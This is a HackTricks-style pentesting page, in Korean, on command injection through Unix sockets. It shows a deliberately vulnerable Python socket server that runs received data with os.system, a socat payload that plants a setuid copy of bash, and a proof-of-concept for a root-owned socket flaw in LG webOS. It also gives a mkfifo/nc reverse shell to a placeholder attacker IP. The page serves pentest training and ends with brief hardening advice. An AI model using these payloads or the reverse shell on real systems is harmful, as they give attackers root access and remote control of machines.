Socket Command Injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Python์„ ์‚ฌ์šฉํ•œ Socket binding ์˜ˆ์ œ

๋‹ค์Œ ์˜ˆ์ œ์—์„œ๋Š” unix socket์ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค (/tmp/socket_test.s) ๊ทธ๋ฆฌ๊ณ  ์ˆ˜์‹ ๋˜๋Š” ๋ชจ๋“  ๋‚ด์šฉ์ด os.system์— ์˜ํ•ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ์‹ค์ œ๋กœ ์ด๋Ÿฐ ์ฝ”๋“œ๋ฅผ ํ˜„์žฅ์—์„œ ๋ณด๊ฒŒ ๋˜์ง€๋Š” ์•Š์„ ๊ฒƒ์ด์ง€๋งŒ, ์ด ์˜ˆ์ œ์˜ ๋ชฉ์ ์€ unix sockets๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์ฝ”๋“œ๊ฐ€ ์–ด๋–ป๊ฒŒ ๋ณด์ด๋Š”์ง€์™€ ์ตœ์•…์˜ ๊ฒฝ์šฐ ์ž…๋ ฅ์„ ์–ด๋–ป๊ฒŒ ์ฒ˜๋ฆฌํ•ด์•ผ ํ•˜๋Š”์ง€๋ฅผ ์‚ดํŽด๋ณด๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

import socket
import os, os.path
import time
from collections import deque

if os.path.exists("/tmp/socket_test.s"):
os.remove("/tmp/socket_test.s")

server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
server.bind("/tmp/socket_test.s")
os.system("chmod o+w /tmp/socket_test.s")
while True:
server.listen(1)
conn, addr = server.accept()
datagram = conn.recv(1024)
if datagram:
print(datagram)
os.system(datagram)
conn.close()

์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ ค๋ฉด python์„ ์‚ฌ์šฉํ•˜์—ฌ: python s.py ๊ทธ๋ฆฌ๊ณ  socket์ด ์–ด๋–ป๊ฒŒ listeningํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”:

netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s

Exploit

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s

์‚ฌ๋ก€ ์—ฐ๊ตฌ: Root-owned UNIX socket signal-triggered escalation (LG webOS)

๊ถŒํ•œ ์žˆ๋Š” ์ผ๋ถ€ ๋ฐ๋ชฌ์€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ž…๋ ฅ์„ ๋ฐ›๋Š” root-owned UNIX socket์„ ๋…ธ์ถœํ•˜๊ณ , ๊ถŒํ•œ์ด ํ•„์š”ํ•œ ๋™์ž‘์„ thread-IDs์™€ signals์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. ํ”„๋กœํ† ์ฝœ์ด ๋น„๊ถŒํ•œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์–ด๋А native thread๋ฅผ ํƒ€๊นƒ์œผ๋กœ ํ•˜๋Š”์ง€ ์˜ํ–ฅ์„ ์ค„ ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ•˜๋ฉด, ๊ถŒํ•œ ์žˆ๋Š” ์ฝ”๋“œ ๊ฒฝ๋กœ๋ฅผ ์œ ๋ฐœํ•˜์—ฌ ๊ถŒํ•œ ์ƒ์Šน์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Observed pattern:

  • root-owned socket์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: /tmp/remotelogger).
  • ์Šค๋ ˆ๋“œ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  native thread id (TID)๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค.
  • TID(ํŒจํ‚น๋œ ๊ฐ’)์™€ ํŒจ๋”ฉ์„ ํ•จ๊ป˜ ์š”์ฒญ์œผ๋กœ ์ „์†กํ•˜๊ณ , ํ™•์ธ ์‘๋‹ต(acknowledgement)์„ ๋ฐ›์Šต๋‹ˆ๋‹ค.
  • ํ•ด๋‹น TID์— ํŠน์ • signal์„ ์ „๋‹ฌํ•ด ๊ถŒํ•œ ์žˆ๋Š” ๋™์ž‘์„ ํŠธ๋ฆฌ๊ฑฐํ•ฉ๋‹ˆ๋‹ค.

๊ฐ„๋‹จํ•œ PoC ์Šค์ผ€์น˜:

import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
tid = th.native_id  # Python >=3.8
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4)  # sync
os.kill(tid, 4)  # deliver SIGILL (example from the case)

์ด๋ฅผ root shell๋กœ ์ „ํ™˜ํ•˜๋ ค๋ฉด, ๊ฐ„๋‹จํ•œ named-pipe + nc ํŒจํ„ด์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f

๋…ธํŠธ:

  • ์ด ์œ ํ˜•์˜ ์ทจ์•ฝ์ ์€ ๋น„ํŠน๊ถŒ ํด๋ผ์ด์–ธํŠธ ์ƒํƒœ(TIDs)์—์„œ ์œ ๋ž˜ํ•œ ๊ฐ’์„ ์‹ ๋ขฐํ•˜๊ณ  ์ด๋ฅผ ํŠน๊ถŒ ์‹ ํ˜ธ ํ•ธ๋“ค๋Ÿฌ๋‚˜ ๋กœ์ง์— ๊ฒฐํ•ฉํ•  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.
  • ์†Œ์ผ“์— ๋Œ€ํ•œ ์ž๊ฒฉ์ฆ๋ช…์„ ๊ฐ•์ œํ•˜๊ณ , ๋ฉ”์‹œ์ง€ ํ˜•์‹์„ ๊ฒ€์ฆํ•˜๋ฉฐ, ํŠน๊ถŒ ์ž‘์—…์„ ์™ธ๋ถ€์—์„œ ์ œ๊ณต๋œ ์Šค๋ ˆ๋“œ ์‹๋ณ„์ž์™€ ๋ถ„๋ฆฌํ•˜์—ฌ ๊ฐ•ํ™”ํ•˜์„ธ์š”.

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ